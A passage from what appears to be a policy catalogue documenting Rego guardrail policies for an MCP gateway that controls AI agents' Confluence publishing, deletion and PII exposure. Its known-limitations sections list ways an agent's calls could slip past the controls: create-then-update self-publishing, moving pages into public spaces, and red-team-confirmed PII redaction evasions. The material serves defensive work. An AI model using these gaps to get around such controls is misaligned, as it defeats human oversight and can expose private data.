policy has no way to discover a space's anonymous-access setting from the request alone. - **Community argument schema unverified.** The community `confluence_create_page` / `confluence_update_page` tool names are verified, but their per-field shapes are not independently verified. To defend the community surface the policy reads both spellings of the two fields that gate a deny: the blog check reads `contentType` **and** the community snake_case `content_type`, and the space check reads `spaceId` **and** `space_id`. If the community server names one of these something else again (or does not expose a blog content type at all), that specific check reads its default and fails open for that field — the tool still matches, but a blog may not be recognized as such. The injected `status` / `isPrivate` transform keys are camelCase only and may be ignored (or need to be `is_private`) on the community server; the transform is a best-effort nudge, not a deny, so a silently-ignored key does not widen the hard-denied blog / public-space surface. Verify the community schema before relying on it there. - **Suffix match only.** A future tool whose name ends differently (e.g. `createconfluenceblogpost`) is not covered — add its suffix. The policy does not fire on names where the verb is embedded mid-string. - **Draft-forcing is a create-time nudge, not an enforced human gate (for internal pages).** The transform forces agent *creates* to `draft` + `isPrivate`, but ordinary updates to internal (non-blog, non-public) pages pass through untouched. So a non-comms agent can create a page as a forced draft and then, in a follow-up `*updateconfluencepage` call, set `status: "current"` to publish it itself — no human in the loop for internal-space content. This is deliberate (blocking status flips on updates would break the legitimate "human already drafted, agent edits" flow), and it does **not** widen the org-wide *blog* surface: blog creates *and updates* are hard-denied regardless of the create-then-update sequence (because `contentType` travels in both requests), and creates into a public space are hard-denied. Updates to a page that *already resides* in a public space are a separate, documented gap — see the public-space-on-update limitation below. If you need a true human gate on internal publication too, pair this with a `require-human-approval`-style update policy. - **Public-space enforcement is reliable on creates, best-effort on updates.** The official `updateConfluencePage` / community `confluence_update_page` identify the target page by `pageId` / `page_id`; the page's space is **not** part of an update request (only creates carry `spaceId` — `isPrivate` is likewise create-only). So a non-comms agent editing a page that *already* lives in a public / anonymous-access space sends no `spaceId`, `is_public_space` reads its empty default, and the update passes through (un-transformed, since updates are never draft-forced). Creates are unaffected: `spaceId` is required on create, so a create *into* a public space is hard-denied. Blog edits are also still caught on update, because `contentType` travels in the request — only the space dimension is missing on updates. If you must stop edits to already-public pages over MCP, pair this with a page-ID allow/deny-list policy or otherwise freeze updates to public spaces. (The two "public-space update" examples above deny only because the caller happens to pass `spaceId`; a realistic pageId-only update would not.) - **Sibling community write tools are not publication-scope-checked.** On the community server, `confluence_move_page` (relocates an existing page — potentially *into* a public / anonymous-access space) and `confluence_update_page_section` are not matched by this policy, so a non-comms agent could expose a page publicly by moving it rather than by creating/updating it. `move_page`'s destination-space argument key is not verified in the landscape note, so a reliable public-space check cannot be built from the request alone; treat move/section as out of scope here and, on community deployments, freeze or group-gate them with a companion policy. - **Public-space list is matched exactly and by type.** `public_space_ids` membership is an exact string comparison: a `spaceId` sent by the tool as a JSON number will not equal a string-configured ID (and vice-versa). Configure the list with values that match the exact type and format your server emits on the wire (confirm with the dump-input debug technique). - **Body/link content not inspected.** This policy governs *publication scope* (blog vs page, public vs internal space, draft vs current), not what the body contains. Pair it with `block-secrets` and an egress PII policy for content control. - **Other paths are out of reach.** This covers only the MCP channel. A user publishing a blog or public page via the Confluence web UI or REST API is outside the gateway's scope by design. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package confluence.ingress.deny_public_publication # Deny-by-default: only the explicit allow rules below permit a request. Every # tool that is not a Confluence page create/update passes through; create/update # calls are denied when they would broadcast org-wide (a blog) or publish into a # public / anonymous-access space, unless the caller is in the comms group. default allow := false # ----------------------------------------------------------------------------- # TOOL MATCHING. The gateway prefixes tool names with the configured MCP server # name, which is not standardized, so we match on the lowercased suffix to stay # portable. Official Rovo names (createConfluencePage / updateConfluencePage) and # community sooperset names (confluence_create_page / confluence_update_page) are # both covered. Verify the exact name your gateway sends with the dump-input # debug technique before relying on this in production. # ----------------------------------------------------------------------------- create_tool_suffixes := { "createconfluencepage", "confluence_create_page", } update_tool_suffixes := { "updateconfluencepage", "confluence_update_page", } tool_name := lower(input.resource.name) is_create_tool if { some suffix in create_tool_suffixes endswith(tool_name, suffix) } is_update_tool if { some suffix in update_tool_suffixes endswith(tool_name, suffix) } is_publish_tool if { is_create_tool } is_publish_tool if { is_update_tool } # ----------------------------------------------------------------------------- # PUBLIC / ANONYMOUS-ACCESS SPACES. Placeholder spaceIds — remap to your tenant's # public / anonymous-access space identifiers at import time. A write into any of # these publishes externally-visible content. # ----------------------------------------------------------------------------- public_space_ids := { "PUBLIC-SPACE-ID", "ANONYMOUS-SPACE-ID", } # ----------------------------------------------------------------------------- # COMMS EXEMPTION. Members of this IdP group may publish blogs and to public # spaces, and are not subject to the draft-forcing transform. Placeholder — remap # `comms` to your IdP's group name at import time. Fail closed: a missing # subject / claims / groups yields no exemption. # ----------------------------------------------------------------------------- comms_group := "comms" # Tool arguments, null-safe: missing payload or args yields {}. args := object.get(object.get(input, "payload", {}), "args", {}) caller_in_comms if { subject := object.get(input, "subject", {}) groups := object.get(object.get(subject, "claims", {}), "groups", []) some g in groups lower(g) == comms_group } # A blog broadcasts to the whole organization (contentType: "blog"). Read the # official camelCase `contentType` key, falling back to the community snake_case # `content_type` key, so a blog posted through the community server is caught too # (its other args — space_id, page_id — are snake_case, so contentType would be # as well). Compared case-insensitively and with surrounding whitespace stripped, # so a padded value like " blog\n" cannot slip past the check if the server would # still coerce it. is_blog if { ct := object.get(args, "contentType", object.get(args, "content_type", "")) trim_space(lower(ct)) == "blog" } # The write targets a public / anonymous-access space. Read the official # `spaceId` key, falling back to the community `space_id` key. is_public_space if { sid := object.get(args, "spaceId", object.get(args, "space_id", "")) public_space_ids[sid] } # ----------------------------------------------------------------------------- # ALLOW: everything that isn't a publish tool, plus publish calls that are # neither a blog nor a public-space write (or are made by a comms-group caller). # ----------------------------------------------------------------------------- allow if { not is_publish_tool } allow if { is_publish_tool not is_blocked } # A publish is blocked when a non-comms caller broadcasts a blog... is_blocked if { is_publish_tool not caller_in_comms is_blog } # ...or writes into a public / anonymous-access space. is_blocked if { is_publish_tool not caller_in_comms is_public_space } reasons contains "This Confluence write publishes a blog post, which broadcasts to your whole organization. Agent-initiated blog posts are blocked. Post it as a regular page in a team space instead, or ask a member of the comms team to publish it. Contact your admin if you believe this is a false positive." if { is_publish_tool not caller_in_comms is_blog } reasons contains "This Confluence write targets a public or anonymous-access space, which would publish externally visible content. Agent-initiated writes to public spaces are blocked. Move the content to an internal space, or ask a member of the comms team to publish it. Contact your admin if this space should not be treated as public." if { is_publish_tool not caller_in_comms is_public_space } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } # ----------------------------------------------------------------------------- # TRANSFORM: on page CREATES by non-comms callers, force the page to draft and # private so a human publishes it deliberately (instead of status:"current" # going live immediately). Applies only to allowed creates — the gateway ignores # the transform on a denied request. Comms-group callers keep full control, and # updates are never rewritten. # ----------------------------------------------------------------------------- transform := {"transformed_payload": merged} if { is_create_tool not caller_in_comms merged := object.union(args, {"status": "draft", "isPrivate": true}) } ``` ### Confluence: Freeze Page & Attachment Deletion URL: https://www.intentbasedpolicy.com/policies/confluence/freeze-page-deletion App(s): confluence | Direction: ingress | Bundles: atlassian, soc2 | Package: confluence.ingress.freeze_page_deletion | Published: 2026-07-12 | Tags: confluence, atlassian, freeze-destructive-ops, data-protection, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/confluence/freeze-page-deletion/policy.md # confluence / freeze-page-deletion **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on the frozen delete tools, allow everything else **Package:** `confluence.ingress.freeze_page_deletion` ## What it does Freezes the two irreversible Confluence deletion tools on the agent channel: `confluence_delete_page` and `confluence_delete_attachment`. Any tool call whose name ends with one of those suffixes is denied for all callers, with an optional break-glass exemption for a placeholder `confluence-admins` group. Every other Confluence tool — reads, searches, page creates/updates, comment and label writes, attachment uploads — passes through untouched. The check runs at ingress, before the call reaches the Confluence MCP server, so a frozen deletion never executes: the page or attachment survives an injected prompt or an erring agent. When a human genuinely needs to delete wiki content, they do it through the Confluence UI (or, for maintenance, from an account in the break-glass group). These two tools exist only on the community **sooperset/mcp-atlassian** server. The official Atlassian **Rovo** MCP server exposes **no delete tools at all** (verified in the app landscape note — it cannot delete pages, attachments, issues, or comments). So on official-connector deployments this policy is a zero-cost safety net that never fires; on community deployments it is the control that actually stops destructive agent behaviour. ## Compliance alignment This policy instantiates the record-freeze family (PF-06, `freeze-destructive-ops`) on Confluence's deletion surface, and supports alignment with: - **SOX §802 / 18 U.S.C. §1519** — anti-destruction/alteration of records: the agent cannot destroy wiki pages or attachments that may be relied on as business records over the MCP path (Enforceable in the coverage matrix). Also supports **§802 / Rule 2-06** retention/legal-hold on evidence paths by keeping the agent from purging preserved content. - **SOC 2 PI1.5** — integrity of stored records: denies agent-driven deletion that would compromise the completeness of stored wiki content. - **HIPAA §164.312(c)** — integrity (anti-alteration) of ePHI that may live in Confluence pages/attachments; **§164.530(c)** — privacy safeguards, by removing an irreversible destruction path from the agent channel. - **GDPR Art. 5(1)(d)** — accuracy: prevents mass agent-driven loss of records (an accuracy/availability failure) by freezing bulk deletion over MCP. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `mcp-atlassian-confluence_delete_page`), and that prefix is not standardized. The policy matches on the tool-name **suffix** so it stays portable across server-name conventions, and lowercases the name first so casing never causes a silent miss: - `*confluence_delete_page` - `*confluence_delete_attachment` These are the community sooperset/mcp-atlassian names (verified in the landscape note). The official Rovo server has no delete tools, so there is no official-naming variant to add. If your community deployment renames these tools, add the new suffixes to `destructive_tool_suffixes` in `policy.md`. The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request that omits the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased, **whitespace-trimmed** string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine delete suffix in the other, and a name padded with trailing spaces/newlines (`"confluence_delete_page \n"`) still matches the frozen suffix. ## Argument shape This policy makes its decision purely from the tool **name** and the caller's identity — it does not read `input.payload.args` at all. That means a frozen delete call is denied even if it arrives with missing, empty, or unexpected arguments; there is no arg shape an attacker can craft to slip past it. ## Identity / break-glass An optional `allow if` branch exempts members of a placeholder `confluence-admins` group, read from the caller's IdP-issued `groups` claim via `object.get(object.get(input.subject, "claims", {}), "groups", [])`. This lets a designated maintenance account perform deletions through the agent during planned cleanup without detaching the policy. The check fails closed: a caller with no `subject`, no `claims`, no `groups`, or no matching group is **not** exempt and the deletion is denied. The `groups` claim is honored **only when it is a JSON array** (`is_array` guard): a bare string, or an object/map shape such as `{"role": "confluence-admins"}`, is rejected — without that guard a Rego `some group in groups` would iterate an object's *values* and let a map-shaped claim satisfy the grant. To freeze deletions for *everyone* (including admins), delete the break-glass `allow if` branch — the `default allow := false` then denies all callers on the two frozen tools. ## Examples ### Denied (agent tries to delete a page) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-confluence_delete_page", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "mcp-atlassian-confluence_delete_page", "args": { "page_id": "123456" } } } } ``` `allow = false`, `reason = "Deleting Confluence pages or attachments is frozen on the agent channel. ..."`. ### Allowed (non-destructive Confluence write) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-confluence_update_page", "type": "tool" }, "payload": { "name": "mcp-atlassian-confluence_update_page", "args": { "page_id": "123456", "title": "Runbook", "body": "..." } } } } ``` `allow = true`, no reason. ### Allowed (break-glass admin deletes during maintenance) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "mcp-atlassian-confluence_delete_page", "type": "tool" }, "subject": { "sub": "google-apps|admin@acme.com", "claims": { "groups": ["confluence-admins"] } }, "payload": { "name": "mcp-atlassian-confluence_delete_page", "args": { "page_id": "123456" } } } } ``` `allow = true`, no reason. ## Composition Single-purpose by design. Useful companions in the [`atlassian`](../../../bundles/atlassian/README.md) bundle: - A parallel Jira freeze policy for `jira_delete_issue` / `jira_remove_issue_link` (this policy allows those through — it only fences Confluence deletion). - [`jira/deny-write-sensitive-projects`](../../jira/deny-write-sensitive-projects/policy.md) — write-side fencing for designated Jira projects. - A publication-control policy on `*confluence_create_page` / `*confluence_update_page` to keep drafts from publishing org-wide. ## Known limitations - **Exact-suffix match only.** The rule fires on names ending in `confluence_delete_page` / `confluence_delete_attachment`. A future community tool with a different name (e.g. `confluence_delete_pages` or `confluence_purge_page`) would not be covered — add its suffix if your server exposes one. It does not fire on names where the delete verb is embedded mid-string (e.g. `confluence_delete_page_tree`). - **Invisible-character padding is not normalized.** Names are lowercased and whitespace-trimmed before matching, so trailing spaces/newlines cannot dodge the suffix — but a name padded with a non-whitespace invisible character (e.g. a zero-width space, U+200B) does evade the match. This is not an exploitable deletion path: MCP servers dispatch tools by exact name, so the padded name is an unknown tool and the call fails at the server rather than deleting anything. Recorded here so the residual is explicit. - **Content blanking and moves are not deletion.** `confluence_update_page` / `confluence_update_page_section` can overwrite or empty a page's body, and `confluence_move_page` can relocate a page — all pass through this policy. Those edits are versioned and recoverable from page history (unlike the frozen delete tools, which are irreversible), which is why they are out of scope; pair with a publication-control or write-fencing policy if edit-level protection is needed. - **Group names are placeholders — replace `confluence-admins` with your IdP's group name at import time.** The break-glass branch is only as trustworthy as the `groups` claim your IdP issues; if callers can self-assert group membership, remap it to a claim your IdP controls, or remove the branch entirely to freeze deletions for all callers. - **Break-glass requires an array-valued `groups` claim.** The exemption only honors `groups` when it is a JSON array (`is_array` guard). An IdP that flattens a single group into a bare string (`"groups": "confluence-admins"`), or emits an object/map shape, will **not** satisfy the break-glass branch, so that admin is denied — a fail-closed, safe-side outcome, but if your IdP emits string-valued groups, normalize the claim to an array before relying on break-glass. - **Community-server-specific.** These tool names exist only on sooperset/mcp-atlassian. On official Rovo deployments the policy is inert (no delete tools exist), which is intended defense-in-depth, not a gap. - **Deletion via other paths is out of reach.** This only covers the MCP channel. A user deleting a page in the Confluence web UI or via the REST API is outside the gateway's scope by design. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package confluence.ingress.freeze_page_deletion # Deny-by-default: only the explicit allow rules below permit a request. Every # non-destructive tool is allowed; the two frozen delete tools are allowed only # for the break-glass admin group. default allow := false # ----------------------------------------------------------------------------- # FROZEN TOOLS: irreversible Confluence deletion tools. These names exist only # on the community sooperset/mcp-atlassian server; the official Rovo server has # no delete tools, so the rule simply never fires there. Suffix matching keeps # the policy portable across gateway server-name prefixes (e.g. # `mcp-atlassian-confluence_delete_page`). # ----------------------------------------------------------------------------- destructive_tool_suffixes := { "confluence_delete_page", "confluence_delete_attachment", } # ----------------------------------------------------------------------------- # BREAK-GLASS: members of this IdP group may still delete (planned maintenance). # Placeholder — remap to your IdP's group name at import time. Delete the # `allow if { is_destructive_tool; is_admin }` branch below to freeze deletion # for everyone, including admins. # ----------------------------------------------------------------------------- admin_group := "confluence-admins" # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a request # that somehow omits the resource block still cannot skip matching (red-team # hardening: missing resource must not fail open). name_of coerces to a # lowercased, whitespace-trimmed string: a missing OR non-string value (number, # null, array, object) resolves to "" rather than leaving the rule undefined — # a non-string resource.name must never suppress a real delete suffix in # payload.name — and trim_space stops trailing-space/newline padding # ("confluence_delete_page \n") from dodging the suffix match (red-team fix). name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # The two names are matched independently. Keeping separate branches means a # malformed (non-string) value in one field cannot suppress a real delete # suffix in the other. is_destructive_tool if { some suffix in destructive_tool_suffixes endswith(resource_name, suffix) } is_destructive_tool if { some suffix in destructive_tool_suffixes endswith(payload_name, suffix) } # Groups from the caller's IdP-issued JWT. Fail closed: a missing subject, # missing claims, missing groups, or a non-array groups value all yield "not # admin", so the frozen deletion is denied. is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) # Only honor an array-shaped groups claim. `some g in obj` iterates an # object's VALUES, so without this guard an object-shaped claim such as # {"role": "confluence-admins"} would silently satisfy the break-glass # grant. is_array forces every non-array shape (string, object, number, # null) to fail closed — no exemption. is_array(groups) some g in groups g == admin_group } # Allow everything that is not a frozen deletion tool. allow if { not is_destructive_tool } # Break-glass: allow a frozen deletion for members of the admin group. allow if { is_destructive_tool is_admin } # Deny reason for a non-admin caller hitting a frozen deletion tool. reasons contains "Deleting Confluence pages or attachments is frozen on the agent channel. Deletions are irreversible, so a human must perform them in the Confluence UI. Contact your Confluence admins if this deletion is required." if { is_destructive_tool not is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Confluence: Redact PII from Page & Comment Responses URL: https://www.intentbasedpolicy.com/policies/confluence/redact-pii-egress App(s): confluence | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa, atlassian | Package: confluence.egress.redact_pii | Published: 2026-07-12 | Tags: confluence, atlassian, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/confluence/redact-pii-egress/policy.md # confluence / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `confluence.egress.redact_pii` ## What it does Scans the responses of Confluence page, comment, and search read tools and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | standard `local@domain.tld` shape | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | Each class is matched independently — a lone email, a lone phone number, or a lone SSN is redacted on its own. Matches are replaced in place, so the surrounding wiki markup, comment threading, and search snippets stay usable and the agent keeps working context. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through byte-identical. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error — they simply pass through. Confluence page bodies and comment threads routinely carry identifiers that users paste into wiki pages — onboarding SSNs, contact emails, support phone numbers — so this is the primary minimum-necessary control on the Confluence MCP read path. It is **defense-in-depth behind the ingress space fence** (`fence-sensitive-spaces` / CQL-scoping policies): even a reader who is authorized for a space should not stream raw identifiers into model context unless they hold a documented full-PII group claim. ### Group exemption Callers whose IdP `groups` claim contains `pii-full` (a placeholder name — see Known limitations) receive **unredacted** responses. The check reads the claims via `object.get(input.subject, "claims", {})` and then `object.get(..., "groups", [])`: a missing subject, missing claims, missing `groups` claim, or a `groups` claim that is not a clean array/string of group names means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment Instantiates egress PII redaction (family PF-02) for Confluence and supports alignment with: - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Confluence content as it leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `pii-full` group members see raw identifiers; everyone else gets working page/comment content with identifiers masked. **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in pages and comment threads; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in Confluence — there is nothing to block at ingress, and denying page/comment/search reads outright would make the agent useless for everyday knowledge work. The leak happens when page-derived text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. This complements — not replaces — an ingress space fence: the fence decides *which* spaces a caller may read; this policy strips direct identifiers out of whatever content they are allowed to read. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). Tools are matched case-insensitively **by suffix**, so the policy stays portable across the MCP server-name prefix the gateway adds (observed live as `atlassian-`). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Official Atlassian Rovo / Claude connector Confluence read + comment tools (camelCase canonical names, all verified in the Atlassian landscape research; the connector lowercases them). The suffixes are matched **bare** (no leading separator) so a hit lands regardless of which separator the gateway inserts between the server-name prefix and the tool — `atlassian-getconfluencepage`, `atlassian_getconfluencepage`, and a prefix-less `getconfluencepage` all match. (An earlier revision required a leading hyphen; that gave no over-match protection and instead failed open — leaking responses — on any gateway whose separator was not `-`.) The canonical names are distinctive enough that a bare `endswith` never collides with a sibling read/write tool, verified against the full Atlassian inventory: `getpagesinconfluencespace` ends in `...space`, and `createConfluencePage`/`updateConfluencePage` end in `...ateconfluencepage` — none end in `getconfluencepage`: - `getconfluencepage` - `getconfluencepagedescendants` - `searchconfluenceusingcql` - `getconfluencepagefootercomments` - `getconfluencepageinlinecomments` - `getconfluencecommentchildren` Community `sooperset/mcp-atlassian` equivalents (snake_case, verified from the repo tools reference) that surface the same page/comment/search body content: - `confluence_get_page` - `confluence_get_page_children` - `confluence_get_space_page_tree` - `confluence_get_comments` - `confluence_search` Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `pii_read_suffixes` for any other content-returning Confluence tools your deployment exposes (see Known limitations for read surfaces deliberately not matched). ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each block. It handles the two content-block shapes a gateway realistically emits: - **Plain-string blocks** (`"text": ["...page body..."]`) are redacted directly, including string blocks that carry serialized JSON, since the regexes run over the serialized text. - **MCP-standard structured text blocks** (`{"type":"text","text":"..."}`) have their inner `text` string redacted while every other key (`type`, `annotations`, …) is preserved. This branch is deliberate: without it, page and comment body delivered as content-block *objects* — the canonical MCP wire shape — would slip past a string-only redactor untouched. Any other block (an object with no string `text` field, or a non-string / non-object value) passes through unmodified — the policy makes no claim over arbitrary structured data whose PII sits under other keys. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys, including `name`, preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. Note the `text` field must be an **array**: a gateway that returns a bare scalar string under `payload.text` (off the documented shape) is not rewritten — see Known limitations. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "atlassian-getconfluencepage", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["marketing"] } }, "payload": { "name": "atlassian-getconfluencepage", "text": ["Onboarding SSN 123-45-6789, contact jane@acme.com or 206-555-0100"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Onboarding SSN [REDACTED-SSN], contact [REDACTED-EMAIL] or [REDACTED-PHONE]"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "atlassian-getconfluencepage", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["pii-full"] } }, "payload": { "name": "atlassian-getconfluencepage", "text": ["Onboarding SSN 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `pii-full` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions in `apps/confluence`: - An **ingress space fence** (CQL-scoping / space-allowlist on `*-searchconfluenceusingcql` and `*-getconfluencepage`) so the agent only reads spaces it is entitled to. This egress redactor is defense-in-depth behind that fence, not a substitute for it. - The Atlassian **block-secrets** ingress policy so credentials aren't written into pages/comments in the first place. - The Jira `redact-sensitive-info` egress policy for the sibling Atlassian product. See the [`bundles/atlassian`](../../../bundles/atlassian/README.md) bundle for the curated Atlassian set. ## Known limitations - **Pattern-based detection is best-effort.** Conservative by design so it does not fire on version strings and page IDs: SSNs are matched in hyphenated `XXX-XX-XXXX` form only (bare 9-digit runs collide with Confluence numeric page IDs), and phone numbers only in separator-formatted US shapes (a contiguous digit run like a page ID `123456789`, or a version string like `1.2.3`, does not match). Obfuscated, spelled-out, split-across-blocks, base64-encoded, or image-embedded values are not caught. **Non-ASCII digit forms also escape** — the regex `\d` class in the gateway's RE2 engine matches ASCII `0`–`9` only, so a full-width or other Unicode-digit rendering of an SSN/phone (e.g. `123-45-6789`) is not redacted even though a model reads it as digits. **Word-adjacent identifiers also escape:** the SSN and phone patterns are `\b`-anchored (deliberately, so they never fire on Confluence numeric page IDs), so an identifier that abuts a *word character* — a letter, digit, or underscore — on either side is not matched. A run-on like `id123-45-6789`, a trailing `206-555-0100x`, and — most realistically — an SSN wrapped in Markdown/wiki **italics underscores** (`_123-45-6789_`, which many wiki renderers show as italic text) all stream through **unredacted** (confirmed by red-team). Space-, colon-, comma-, or parenthesis-delimited identifiers — the common presentation — match normally; loosening the anchor to catch the word-adjacent cases would re-introduce page-ID false positives, so this is left as a documented residual. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Phone detection needs a separator after the area code.** Separator- formatted US shapes match (`206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`), but `(206)555-0100` with no space after the closing parenthesis, and bare 10-digit runs, are not matched (documented residual). - **Email regex is standard-shape.** It matches `local@domain.tld` and will also match an email embedded in a `user:pass@host` connection string; it will not match addresses split across markup or obfuscated as `jane [at] acme [dot] com`. - **Block coverage and the `text`-array assumption.** Redaction applies to plain-string entries of `input.payload.text` (including serialized-JSON strings) **and** to MCP-standard structured text blocks shaped as `{"type":"text","text":"..."}` (the inner `text` is redacted, other keys preserved). Blocks that are objects with **no string `text` field** pass through unmodified — the policy does not chase PII under arbitrary keys. This deliberately includes several **standard MCP content-block shapes**, not just custom ones: an embedded-resource block (`{"type":"resource","resource":{"text":"…","uri":"…"}}`) carries its text under the nested `resource.text` key, an image/audio block carries no text at all, and a block that is itself a **nested array** of sub-blocks is neither a string nor an object — all three fall to the passthrough branch and stream any embedded identifiers **verbatim, unredacted** (confirmed by red-team). A custom `{"field":"ssn","value":"…"}` shape leaks the same way. If your gateway build emits page/comment bodies as embedded-resource or nested-array blocks under `payload.text` (the documented contract is a flat array of strings — confirm yours with the dump-input technique), extend `block_text`/`redact_block` to descend into `resource.text` and nested arrays, or fence those tools at ingress. Separately, the `text` field is assumed to be an **array**: a gateway that returns a bare scalar string under `payload.text` fails the `is_array` transform guard and the response is **not rewritten** (a fail-open residual on an off-spec shape — the documented gateway contract always emits an array; confirm yours with the dump-input technique before relying on this). - **Adjacent and cross-product read surfaces are not matched.** Only the Confluence-specific page/comment/search tools in `pii_read_suffixes` are in scope. Content-returning tools **outside** that set stream page/comment body verbatim, unredacted: - the cross-product retrieval tools **`atlassian-fetch` / `atlassian-search`** and the beta **`fetchAtlassian` / `searchAtlassian`** tools, which return Confluence page and search content under generic names not tied to Confluence (verified present on the live connector; their Confluence response shape is beta/unverified, so they are deliberately *not* added to the suffix set here — add them, after confirming their response shape, if your deployment exposes them); - attachment-download and page-history/diff tools (community `confluence_download_attachment`, `confluence_get_page_history`, `confluence_get_page_diff`), which return content under different tool names / response shapes. Add the tools your deployment exposes to `pii_read_suffixes`, or fence them at ingress. This egress redactor is defense-in-depth, not a complete egress-channel inventory. - **Group names are placeholders — replace `pii-full` with your IdP's group name at import time.** The exemption is granted **only** for a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, an object/map (e.g. a namespaced or metadata claim like `{"department": "pii-full"}` — the `is_array` guard stops its *values* from being read as group names), and nested/non-string array elements are all treated as *not exempt*. If your IdP emits roles under a namespaced claim, adjust `caller_groups` to point at the array before matching. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. Note the placeholder group names are illustrative only and are not the ContextForge-internal `is_admin`/`teams`/`user` claims (which are stripped before reaching a policy and must never be used for gating). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package confluence.egress.redact_pii # Transform-only egress policy: rewrites PII in Confluence page/comment/search # tool responses to fixed redaction tokens before the response reaches the # agent. Never denies. Callers in the placeholder full-PII IdP group receive # unredacted responses; the group check fails closed, so a caller with missing # or oddly-shaped claims gets over-redaction, never disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: Confluence read tools whose responses carry page-body, comment, or # search-snippet content. Suffix matching keeps the policy portable across the # gateway server-name prefix (observed live as `atlassian-`, but ANY separator # — or a prefix-less emission — is covered). It matches both the official # Rovo/Claude connector (camelCase, lowercased) and the community sooperset # server (snake_case). Suffixes are matched BARE (no leading separator): the # official canonical names are distinctive enough that a bare endswith never # collides with a sibling tool (verified against the full 